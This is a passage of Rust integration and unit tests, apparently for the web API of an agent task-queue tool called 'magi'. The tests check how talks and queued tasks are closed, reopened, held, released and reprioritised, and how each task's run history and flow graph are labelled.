11362            .post(
11363                &format!("/api/talks/{id}/say"),
11364                Some(&format!(
11365                    r#"{{"text":"hi","attachments":["{}"]}}"#,
11366                    "a".repeat(32)
11367                )),
11368            )
11369            .await;
11370        assert!((400..500).contains(&res.status), "{}", res.body);
11371        assert!(res.body.contains("unknown attachment"), "{}", res.body);
11372
11373        let on_disk = f.talks().get(&id).expect("get");
11374        assert!(
11375            on_disk.turns.is_empty(),
11376            "a rejected attachment id must not partially record the turn: {:?}",
11377            on_disk.turns
11378        );
11379    }
11380
11381    #[tokio::test]
11382    async fn talk_close_makes_the_talk_refuse_further_turns() {
11383        let f = Fixture::start().await;
11384        let id = seed_talk(&f, "20260904-014455-cd34", "open");
11385
11386        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11387        assert_eq!(closed.status, 200, "{}", closed.body);
11388        assert_eq!(closed.json()["status"], "closed");
11389
11390        // Idempotent: closing an already-closed talk is not an error.
11391        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
11392        assert_eq!(closed_again.status, 200);
11393        assert_eq!(closed_again.json()["status"], "closed");
11394
11395        let said = f
11396            .post(
11397                &format!("/api/talks/{id}/say"),
11398                Some(r#"{"text":"too late"}"#),
11399            )
11400            .await;
11401        assert_eq!(said.status, 409, "{}", said.body);
11402    }
11403
11404    #[tokio::test]
11405    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
11406        let (_tmp, _repo, f) = talk_fixture().await;
11407        let id = f.post("/api/talks", None).await.json()["id"]
11408            .as_str()
11409            .expect("id")
11410            .to_owned();
11411        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11412        assert_eq!(closed.status, 200, "{}", closed.body);
11413
11414        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11415        assert_eq!(reopened.status, 200, "{}", reopened.body);
11416        assert_eq!(reopened.json()["status"], "open");
11417
11418        // Idempotent: reopening an already-open talk is not an error.
11419        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11420        assert_eq!(reopened_again.status, 200);
11421        assert_eq!(reopened_again.json()["status"], "open");
11422
11423        let said = f
11424            .post(
11425                &format!("/api/talks/{id}/say"),
11426                Some(r#"{"text":"still there?"}"#),
11427            )
11428            .await;
11429        assert_eq!(
11430            said.status, 202,
11431            "a reopened talk accepts turns again: {}",
11432            said.body
11433        );
11434    }
11435
11436    #[tokio::test]
11437    async fn talk_reopen_on_an_unknown_id_is_404() {
11438        let f = Fixture::start().await;
11439        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
11440        assert_eq!(res.status, 404, "{}", res.body);
11441    }
11442
11443    #[tokio::test]
11444    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
11445        let f = Fixture::start().await;
11446        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
11447
11448        let deleted = f.delete(&format!("/api/talks/{id}")).await;
11449        assert_eq!(deleted.status, 204, "{}", deleted.body);
11450
11451        let after = f.get(&format!("/api/talks/{id}")).await;
11452        assert_eq!(after.status, 404, "{}", after.body);
11453
11454        let listed = f.get("/api/talks").await.json();
11455        assert!(
11456            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
11457            "a deleted talk must not linger in the list: {listed}"
11458        );
11459    }
11460
11461    #[tokio::test]
11462    async fn talk_delete_on_an_unknown_id_is_404() {
11463        let f = Fixture::start().await;
11464        let res = f.delete("/api/talks/nonexistent-id").await;
11465        assert_eq!(res.status, 404, "{}", res.body);
11466    }
11467
11468    /// A task's page lists every run it ever had, in order, and says what kind
11469    /// of attempt each was - including a resume, which re-pushes the same run
11470    /// id, and a run whose record this build cannot read.
11471    #[tokio::test]
11472    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
11473        let f = Fixture::start().await;
11474        let (a, b, gone) = (
11475            "20260902-140501-aaaa",
11476            "20260902-140502-bbbb",
11477            "20260902-140503-cccc",
11478        );
11479        write_run(&f.runs(), a, RunStatus::Stalled);
11480        let mut review = RunState::new(
11481            PathBuf::from("/repo/magi"),
11482            "main".to_owned(),
11483            "0123456789abcdef".to_owned(),
11484            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
11485                .to_owned(),
11486            Config::default(),
11487        );
11488        review.id = b.to_owned();
11489        review.status = RunStatus::Merged;
11490        write_state(&f.runs(), &review);
11491
11492        let mut task = Task::new(
11493            "retry".to_owned(),
11494            "Do the thing".to_owned(),
11495            PathBuf::from("/repo/magi"),
11496            Source::Human,
11497        );
11498        task.start(a.to_owned());
11499        task.stall("quota");
11500        task.start(a.to_owned());
11501        task.start(b.to_owned());
11502        task.start(gone.to_owned());
11503        f.queue().put(&mut task).expect("file the task");
11504
11505        let res = f.get(&format!("/api/queue/{}", task.id)).await;
11506        assert_eq!(res.status, 200, "{}", res.body);
11507        let v = res.json();
11508        let h = v["history"].as_array().expect("history");
11509        assert_eq!(h.len(), 4, "{v}");
11510        assert_eq!(h[0]["kind"], "competition");
11511        assert_eq!(h[0]["status"], "stalled");
11512        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
11513        assert_eq!(h[1]["kind"], "resume", "{v}");
11514        assert!(
11515            h[0]["outcome"]
11516                .as_str()
11517                .unwrap()
11518                .contains("unknown. Pass #2"),
11519            "an earlier pass of a resumed run must not claim the final outcome: {v}"
11520        );
11521        assert!(
11522            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
11523            "{v}"
11524        );
11525        assert!(
11526            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
11527            "an unrecorded cause must not be narrated as an operator park: {v}"
11528        );
11529        assert_eq!(h[2]["kind"], "review");
11530        assert!(
11531            h[2]["description"]
11532                .as_str()
11533                .unwrap()
11534                .contains("magi/aaaa/A")
11535        );
11536        assert_eq!(h[2]["status"], "merged");
11537        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
11538        assert_eq!(v["runs_unreadable"], 1);
11539        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
11540        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
11541        assert_eq!(nodes[4]["note"], "unreadable");
11542        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
11543        assert_eq!(v["instruction"], "Do the thing");
11544        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
11545
11546        // The run's own page links back to the task.
11547        let run = f.get(&format!("/api/runs/{a}")).await.json();
11548        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
11549
11550        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
11551    }
11552
11553    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
11554        let mut s = RunState::new(
11555            PathBuf::from("/repo/magi"),
11556            "main".to_owned(),
11557            "0123456789abcdef".to_owned(),
11558            "Do it".to_owned(),
11559            Config::default(),
11560        );
11561        s.status = status;
11562        edit(&mut s);
11563        s
11564    }
11565
11566    fn flow_task(runs: &[&str]) -> Task {
11567        let mut t = Task::new(
11568            "t".to_owned(),
11569            "Do it".to_owned(),
11570            PathBuf::from("/repo/magi"),
11571            Source::Human,
11572        );
11573        for r in runs {
11574            t.start((*r).to_owned());
11575        }
11576        t
11577    }
11578
11579    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
11580        let h = task_history(task, |id| {
11581            states
11582                .iter()
11583                .find(|(i, _)| *i == id)
11584                .and_then(|(_, s)| s.clone())
11585        });
11586        task_flow(task, &h, 5, None)
11587    }
11588
11589    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
11590        crate::queue::FollowUp {
11591            run: "20260901-000000-aaaa".to_owned(),
11592            origin_task: origin_task.map(str::to_owned),
11593            pr: "https://example.com/o/r/pull/1".to_owned(),
11594            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
11595                .map(str::to_owned)
11596                .to_vec(),
11597            generation: 1,
11598        }
11599    }
11600
11601    fn parent_task() -> Task {
11602        let mut p = flow_task(&[]);
11603        p.title = "Parent title".to_owned();
11604        p.status = TaskStatus::Done;
11605        p
11606    }
11607
11608    #[test]
11609    fn flow_opens_with_the_parent_task_of_a_followup() {
11610        let p = parent_task();
11611        let pid = p.id.clone();
11612        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
11613        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11614        let n = &f.nodes[0];
11615        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
11616        assert_eq!(
11617            n.label,
11618            format!("Follow-up of {}", crate::queue::short(&pid))
11619        );
11620        assert_eq!(n.detail.as_deref(), Some("Parent title"));
11621        assert_eq!(n.status, Some("done"));
11622        assert_eq!(n.status_of, "task");
11623        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
11624        assert_eq!(f.nodes[1].key, "start");
11625        assert_eq!(f.edges[0].from, "origin");
11626        assert_eq!(
11627            f.edges[0].label,
11628            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
11629        );
11630    }
11631
11632    #[test]
11633    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
11634        let o = followup_origin(
11635            &fu(Some("gone")),
11636            |_| None,
11637            |_| {
11638                Some(RunState::new(
11639                    std::path::PathBuf::from("."),
11640                    "main".to_owned(),
11641                    "0".to_owned(),
11642                    "t".to_owned(),
11643                    crate::config::Config::default(),
11644                ))
11645            },
11646        );
11647        assert!(o.parent.is_none());
11648        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11649        let n = &f.nodes[0];
11650        assert_eq!(n.status_of, "run");
11651        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
11652        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
11653    }
11654
11655    #[test]
11656    fn flow_followup_with_nothing_readable_has_no_link() {
11657        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
11658        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11659        let n = &f.nodes[0];
11660        assert_eq!(n.href, None);
11661        assert_eq!(n.note, Some("unreadable"));
11662        assert!(!n.readable);
11663    }
11664
11665    #[test]
11666    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
11667        let o = followup_origin(&fu(None), |_| None, |_| None);
11668        let mut t = flow_task(&[]);
11669        t.origin_chat = Some("c1".to_owned());
11670        let f = task_flow(&t, &[], 5, Some(&o));
11671        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
11672        t.source = Source::Agent {
11673            run: "c1".to_owned(),
11674            node: crate::queue::CHAT_NODE.to_owned(),
11675        };
11676        let f = task_flow(&t, &[], 5, Some(&o));
11677        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
11678        assert_eq!(
11679            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
11680            ("chat", "origin")
11681        );
11682    }
11683
11684    #[test]
11685    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
11686        let mut p = parent_task();
11687        p.id = "a b/c".to_owned();
11688        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
11689        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
11690    }
11691
11692    #[test]
11693    fn flow_opens_with_the_chat_that_queued_the_task() {
11694        let mut t = flow_task(&[]);
11695        t.source = Source::Agent {
11696            run: "a b/c".to_owned(),
11697            node: crate::queue::CHAT_NODE.to_owned(),
11698        };
11699        let f = flow_for(&t, &[]);
11700        assert_eq!(f.nodes[0].key, "chat");
11701        assert_eq!(f.nodes[0].kind, "chat");
11702        assert_eq!(
11703            f.nodes[0].label,
11704            format!("Chat {}", crate::queue::short("a b/c"))
11705        );
11706        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
11707        assert_eq!(f.nodes[1].key, "start");
11708        assert_eq!(
11709            f.edges[0],
11710            FlowEdge {
11711                from: "chat".to_owned(),
11712                to: "start".to_owned(),
11713                label: "queued from chat".to_owned(),
11714                attempt: AttemptCost::None,
11715            }
11716        );
11717    }
11718
11719    #[test]
11720    fn flow_has_no_chat_box_for_other_sources() {
11721        for source in [
11722            Source::Human,
11723            Source::Issue {
11724                number: 3,
11725                repo: "o/r".to_owned(),
11726            },
11727            Source::Agent {
11728                run: "20260904-014455-ab12".to_owned(),
11729                node: "implement".to_owned(),
11730            },
11731        ] {
11732            let mut t = flow_task(&[]);
11733            t.source = source;
11734            let f = flow_for(&t, &[]);
11735            assert_eq!(f.nodes[0].key, "start");
11736            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
11737            assert!(f.edges.iter().all(|e| e.from != "chat"));
11738        }
11739    }
11740
11741    const FA: &str = "20260902-140501-aaaa";
11742    const FB: &str = "20260902-140502-bbbb";
11743
11744    #[test]
11745    fn flow_follows_blocked_retry_merged_to_done() {
11746        let mut t = flow_task(&[FA, FB]);
11747        t.status = TaskStatus::Done;
11748        let f = flow_for(
11749            &t,
11750            &[
11751                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
11752                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
11753            ],
11754        );
11755        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
11756        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
11757        assert_eq!(f.edges.len(), 3);
11758        assert_eq!(f.edges[0].label, "claimed");
11759        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
11760        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11761        assert_eq!(f.edges[2].label, "merged \u{2192} done");
11762        assert_eq!(
11763            f.nodes[2].href.as_deref(),
11764            Some("#/runs/20260902-140502-bbbb")
11765        );
11766        assert!(f.nodes[2].decided);
11767    }
11768
11769    #[test]
11770    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
11771        let quota = || {
11772            flow_run(RunStatus::Stalled, |s| {
11773                s.quota.push(crate::run::QuotaLoss {
11774                    seat: "judge-1".to_owned(),
11775                    node: "judge".to_owned(),
11776                    at: Timestamp::now(),
11777                    reset: None,
11778                })
11779            })
11780        };
11781        let mut t = flow_task(&[FA, FA]);
11782        t.status = TaskStatus::Queued;
11783        let f = flow_for(&t, &[(FA, Some(quota()))]);
11784        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
11785        assert_eq!(f.nodes[1].note, Some("interrupted"));
11786        assert_eq!(
11787            f.nodes[1].status, None,
11788            "no outcome copied onto an earlier pass"
11789        );
11790        assert_eq!(
11791            f.edges[1].attempt,
11792            AttemptCost::Unknown,
11793            "a resume does not prove the earlier pass was refunded"
11794        );
11795        assert!(f.edges[1].label.contains("resume the same run"));
11796        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
11797        assert_eq!(
11798            f.edges[2].label,
11799            "stalled after a resume, refund unknown \u{2192} queued"
11800        );
11801        assert!(!f.nodes[2].decided, "a stall is not a decision");
11802        assert_eq!(f.nodes[2].note, Some("no verdict"));
11803    }
11804
11805    #[test]
11806    fn flow_single_pass_quota_stall_is_refunded() {
11807        let t = flow_task(&[FA]);
11808        let f = flow_for(
11809            &t,
11810            &[(
11811                FA,
11812                Some(flow_run(RunStatus::Stalled, |s| {
11813                    s.quota.push(crate::run::QuotaLoss {
11814                        seat: "judge-1".to_owned(),
11815                        node: "judge".to_owned(),
11816                        at: Timestamp::now(),
11817                        reset: None,
11818                    })
11819                })),
11820            )],
11821        );
11822        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11823    }
11824
11825    #[test]
11826    fn flow_parked_refunds_and_stall_without_quota_spends() {
11827        let mut t = flow_task(&[FA]);
11828        t.status = TaskStatus::Queued;
11829        let f = flow_for(
11830            &t,
11831            &[(
11832                FA,
11833                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
11834            )],
11835        );
11836        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
11837        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11838        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
11839        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11840        assert!(!f.nodes[1].decided);
11841    }
11842
11843    #[test]
11844    fn flow_keeps_an_unreadable_run_as_its_own_node() {
11845        let t = flow_task(&[FA, FB]);
11846        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
11847        assert_eq!(f.nodes[1].note, Some("unreadable"));
11848        assert!(!f.nodes[1].readable);
11849        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
11850        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
11851    }
11852
11853    #[test]
11854    fn flow_names_the_branch_of_a_review_only_run() {
11855        let t = flow_task(&[FA]);
11856        let f = flow_for(
11857            &t,
11858            &[(
11859                FA,
11860                Some(flow_run(RunStatus::Merged, |s| {
11861                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
11862                })),
11863            )],
11864        );
11865        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
11866        assert_eq!(
11867            f.nodes[1].detail.as_deref(),
11868            Some("review-only run of branch magi/x/A")
11869        );
11870    }
11871
11872    #[test]
11873    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
11874        let mut t = flow_task(&[FA]);
11875        t.status = TaskStatus::Held;
11876        let pr = crate::run::PrRecord {
11877            url: "https://example.test/pr/1".to_owned(),
11878            number: 1,
11879            state: "open".to_owned(),
11880            checks: "green".to_owned(),
11881            round: 0,
11882            rounds: 3,
11883            red_at_merge: Vec::new(),
11884        };
11885        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
11886        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
11887        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
11888        t.status = TaskStatus::Done;
11889        let f = flow_for(&t, &[(FA, Some(blocked))]);
11890        assert_eq!(f.edges[1].label, "closed by hand: task is done");
11891    }
11892
11893    #[test]
11894    fn flow_with_no_runs_goes_from_queued_to_queued() {
11895        let t = flow_task(&[]);
11896        let f = flow_for(&t, &[]);
11897        assert_eq!(f.nodes.len(), 2);
11898        assert_eq!(f.edges.len(), 1);
11899        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
11900        assert_eq!(f.edges[0].attempt, AttemptCost::None);
11901    }
11902
11903    /// A run parked mid-flight keeps a non-terminal status; the page must
11904    /// still say why it stopped and that the attempt came back.
11905    #[test]
11906    fn a_parked_non_terminal_run_is_explained_as_parked() {
11907        let mut s = RunState::new(
11908            PathBuf::from("/repo/magi"),
11909            "main".to_owned(),
11910            "0123456789abcdef".to_owned(),
11911            "Do it".to_owned(),
11912            Config::default(),
11913        );
11914        s.status = RunStatus::Implementing;
11915        s.parked = true;
11916        let task = Task::new(
11917            "t".to_owned(),
11918            "Do it".to_owned(),
11919            PathBuf::from("/repo/magi"),
11920            Source::Human,
11921        );
11922        let v = task_run_view(
11923            "20260902-140501-aaaa",
11924            Some(&s),
11925            RunSlot {
11926                n: 1,
11927                resumed: false,
11928                resumed_later: None,
11929                prior: None,
11930                last: true,
11931            },
11932            &task,
11933        );
11934        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
11935    }
11936
11937    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
11938        let mut s = flow_run(RunStatus::Implementing, edit);
11939        s.parked = false;
11940        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
11941        task_run_view(
11942            "20260902-140501-aaaa",
11943            Some(&s),
11944            RunSlot {
11945                n: 1,
11946                resumed: false,
11947                resumed_later: Some(2),
11948                prior: None,
11949                last: false,
11950            },
11951            &task,
11952        )
11953    }
11954
11955    #[test]
11956    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
11957        let v = earlier_pass_view(|_| {});
11958        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
11959        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11960        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
11961        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
11962        assert_eq!(v.exit, RunExit::Interrupted);
11963        assert_eq!(v.attempt, AttemptCost::Unknown);
11964    }
11965
11966    #[test]
11967    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
11968        let v = earlier_pass_view(|s| {
11969            s.quota.push(crate::run::QuotaLoss {
11970                seat: "judge-1".to_owned(),
11971                node: "judge".to_owned(),
11972                at: Timestamp::now(),
11973                reset: None,
11974            });
11975        });
11976        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
11977        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11978        assert_eq!(v.attempt, AttemptCost::Unknown);
11979    }
11980
11981    #[test]
11982    fn the_current_pass_states_its_recorded_cause_and_cost() {
11983        let slot = || RunSlot {
11984            n: 1,
11985            resumed: false,
11986            resumed_later: None,
11987            prior: None,
11988            last: true,
11989        };
11990        let task = flow_task(&["20260902-140501-aaaa"]);
11991        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
11992        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
11993        assert_eq!(
11994            (v.exit, v.attempt),
11995            (RunExit::Parked, AttemptCost::Refunded)
11996        );
11997        let spent = flow_run(RunStatus::Blocked, |_| {});
11998        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
11999        assert_eq!(v.attempt, AttemptCost::Spent);
12000        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
12001    }
12002
12003    #[tokio::test]
12004    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
12005        let f = Fixture::start().await;
12006        let queue = f.queue();
12007        let mut task = Task::new(
12008            "spent".to_owned(),
12009            "Try again".to_owned(),
12010            PathBuf::from("/repo/magi"),
12011            Source::Human,
12012        );
12013        task.start("20260902-140502-bbbb".to_owned());
12014        task.fail("agent gave up", 9);
12015        queue.put(&mut task).expect("file the task");
12016
12017        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12018        assert_eq!(held.status, 200);
12019        assert_eq!(held.json()["status_str"], "held");
12020
12021        let released = f
12022            .post(&format!("/api/queue/{}/release", task.id), None)
12023            .await;
12024        assert_eq!(released.status, 200);
12025        assert_eq!(released.json()["status_str"], "queued");
12026        assert_eq!(
12027            released.json()["attempts"],
12028            0,
12029            "release is a real second chance, not an instant re-hold"
12030        );
12031        assert_eq!(
12032            queue.get(&task.id).expect("reload").status,
12033            TaskStatus::Queued,
12034            "the change is on disk, not only in the reply"
12035        );
12036        assert!(
12037            !f.home
12038                .path()
12039                .join("queue")
12040                .join(format!("{}.lock", task.id))
12041                .exists(),
12042            "the claim the mutation took is released again"
12043        );
12044    }
12045
12046    #[tokio::test]
12047    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
12048        let f = Fixture::start().await;
12049        let queue = f.queue();
12050        let mut task = Task::new(
12051            "busy".to_owned(),
12052            "Running right now".to_owned(),
12053            PathBuf::from("/repo/magi"),
12054            Source::Human,
12055        );
12056        queue.put(&mut task).expect("file the task");
12057        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12058
12059        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12060
12061        assert_eq!(res.status, 409);
12062        assert_eq!(
12063            queue.get(&task.id).expect("reload").status,
12064            TaskStatus::Queued,
12065            "the refused hold changed nothing"
12066        );
12067    }
12068
12069    #[tokio::test]
12070    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
12071        let f = Fixture::start().await;
12072        let queue = f.queue();
12073        let mut task = Task::new(
12074            "waiting on the migration".to_owned(),
12075            "Do the thing".to_owned(),
12076            PathBuf::from("/repo/magi"),
12077            Source::Human,
12078        );
12079        queue.put(&mut task).expect("file the task");
12080
12081        let held = f
12082            .post(
12083                &format!("/api/queue/{}/hold", task.id),
12084                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
12085            )
12086            .await;
12087        assert_eq!(held.status, 200, "{}", held.body);
12088        assert_eq!(held.json()["status_str"], "held");
12089        assert_eq!(
12090            held.json()["hold_reason"],
12091            "waiting for 20260101-000000-aaaa to land"
12092        );
12093
12094        let listed = f.get("/api/queue").await.json();
12095        assert_eq!(
12096            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
12097            "the card reads the reason off the same list route"
12098        );
12099
12100        // A hold with no body at all must keep working - most holds have no
12101        // reason to give.
12102        let mut plain = Task::new(
12103            "no reason given".to_owned(),
12104            "Do another thing".to_owned(),
12105            PathBuf::from("/repo/magi"),
12106            Source::Human,
12107        );
12108        queue.put(&mut plain).expect("file the task");
12109        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
12110        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
12111        assert!(held_plain.json()["hold_reason"].is_null());
12112
12113        let released = f
12114            .post(&format!("/api/queue/{}/release", task.id), None)
12115            .await;
12116        assert_eq!(released.status, 200);
12117        assert!(
12118            released.json()["hold_reason"].is_null(),
12119            "a release must clear the reason so the next hold does not inherit it"
12120        );
12121    }
12122
12123    #[tokio::test]
12124    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
12125        let f = Fixture::start().await;
12126        let queue = f.queue();
12127        let mut older = Task::new(
12128            "filed first".to_owned(),
12129            "x".to_owned(),
12130            PathBuf::from("/repo/magi"),
12131            Source::Human,
12132        );
12133        older.id = "20260101-000001-aaaa".to_owned();
12134        let mut newer = Task::new(
12135            "filed second".to_owned(),
12136            "x".to_owned(),
12137            PathBuf::from("/repo/magi"),
12138            Source::Human,
12139        );
12140        newer.id = "20260101-000002-bbbb".to_owned();
12141        queue.put(&mut older).expect("file older");
12142        queue.put(&mut newer).expect("file newer");
12143
12144        // Equal priority: the newer task leads, the same order the old
12145        // newest-first `list()` already gave every equal-priority queue.
12146        let before = f.get("/api/queue").await.json();
12147        assert_eq!(before[0]["id"], newer.id);
12148        assert_eq!(before[1]["id"], older.id);
12149
12150        // Raising the *older* task is the meaningful case: it can only lead
12151        // now because its priority says so, not because it happens to be
12152        // newest.
12153        let raised = f
12154            .post(
12155                &format!("/api/queue/{}/priority", older.id),
12156                Some(r#"{"priority":10}"#),
12157            )
12158            .await;
12159        assert_eq!(raised.status, 200, "{}", raised.body);
12160        assert_eq!(raised.json()["priority"], 10);
12161
12162        let after = f.get("/api/queue").await.json();
12163        let names: Vec<&str> = after
12164            .as_array()
12165            .unwrap()
12166            .iter()
12167            .map(|t| t["id"].as_str().unwrap())
12168            .collect();
12169        // Highest priority first, which is the order next_runnable and
12170        // `magi task list` both use - GET /api/queue must agree with it
12171        // immediately, not just once the loop claims the task.
12172        assert_eq!(names[0], older.id, "the raised task now sorts first");
12173    }
12174
12175    #[tokio::test]
12176    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
12177        let dir = TempDir::new().unwrap();
12178        let repo = dir.path().join("repo");
12179        std::fs::create_dir(&repo).unwrap();
12180        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
12181        let q = Queue::at(dir.path().join("queue"));
12182        let ui = Arc::new(Ui::new(
12183            q.clone(),
12184            Questions::at(dir.path().join("questions")),
12185            Talks::at(dir.path().join("talks")),
12186            dir.path().join("runs"),
12187            dir.path().to_path_buf(),
12188            repo.clone(),
12189        ));
12190        let mut t = Task::new(
12191            "seats".into(),
12192            "keep instruction".into(),
12193            repo,
12194            Source::Human,
12195        );
12196        t.runs.push("prior-run".into());
12197        t.hold_manual(Some("waiting".into()));
12198        q.put(&mut t).unwrap();
12199        let change = |count| {
12200            queue_implementers(
12201                State(ui.clone()),
12202                Path(t.id.clone()),
12203                Ok(Json(ImplementersBody {
12204                    implementers: count,
12205                })),
12206            )
12207        };
12208        for count in [2, 1, 2] {
12209            let response = change(count).await.unwrap();
12210            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
12211            let saved = q.get(&t.id).unwrap();
12212            assert_eq!(saved.implementers(), Some(usize::from(count)));
12213            assert_eq!(saved.runs, t.runs);
12214            assert_eq!(saved.instruction, t.instruction);
12215        }
12216        for count in [0, 4] {
12217            assert_eq!(
12218                change(count).await.err().unwrap().status,
12219                StatusCode::BAD_REQUEST
12220            );
12221        }
12222        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
12223        let claim = q.claim(&t.id).unwrap();
12224        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
12225        drop(claim);
12226        for status in [
12227            TaskStatus::Running,
12228            TaskStatus::Done,
12229            TaskStatus::Failed,
12230            TaskStatus::Blocked,
12231            TaskStatus::Parked,
12232        ] {
12233            let mut stored = q.get(&t.id).unwrap();
12234            stored.status = status;
12235            q.put(&mut stored).unwrap();
12236            assert_eq!(
12237                change(1).await.err().unwrap().status,
12238                StatusCode::BAD_REQUEST
12239            );
12240            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
12241        }
12242    }
12243
12244    #[tokio::test]
12245    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
12246        let f = Fixture::start().await;
12247        let queue = f.queue();
12248        let mut task = Task::new(
12249            "in flight".to_owned(),
12250            "x".to_owned(),
12251            PathBuf::from("/repo/magi"),
12252            Source::Human,
12253        );
12254        task.start("20260902-140502-bbbb".to_owned());
12255        queue.put(&mut task).expect("file the task");
12256
12257        let res = f
12258            .post(
12259                &format!("/api/queue/{}/priority", task.id),
12260                Some(r#"{"priority":9}"#),
12261            )
12262            .await;
12263        assert_eq!(res.status, 400, "{}", res.body);
12264        assert!(
12265            res.json()["error"]
12266                .as_str()
12267                .is_some_and(|e| e.contains("running")),
